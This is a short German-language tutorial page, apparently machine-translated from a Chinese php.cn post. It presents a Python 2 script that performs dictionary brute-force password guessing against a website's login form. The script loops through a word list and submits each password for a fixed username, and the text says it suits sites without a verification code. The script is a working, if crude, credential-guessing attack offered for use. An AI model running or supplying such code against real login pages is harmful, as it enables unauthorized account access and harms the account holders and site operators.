Passwort-Brute-Force-Cracking mit Python

高洛峰
Freigeben: 2016-10-18 10:31:30
Original
3175 Leute haben es durchsucht

Laut Wörterbuchdatei verwenden Sie Python, um Brute-Force-Cracking durchzuführen. Das Verfahren ist sehr einfach.

Hinweis: Für den Fall, dass kein Bestätigungscode vorhanden ist.

Beispielcode:

#encoding=utf-8
import httplib,urllib
conn = httplib.HTTPConnection("www.xxx.cn")
f=open("dict.txt")
while 1:
    pwd=f.readline().strip()
    if not pwd:
        print '字典已比对完。'
        break
    params = urllib.urlencode({'username': 'xxx', 'mod': '', 'password': pwd})
    headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"}
    conn.request("GET", "/login/aaa.asp", params, headers)
    r = conn.getresponse()
    print r.status, r.reason
    data1 = r.read().decode('gbk')#编码根据实际情况酌情处理
    print data1.index(u'您输入的密码有误'),'您输入的密码\'%s\'有误'%pwd
conn.close()
Nach dem Login kopieren


Verwandte Etiketten:
Quelle:php.cn
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage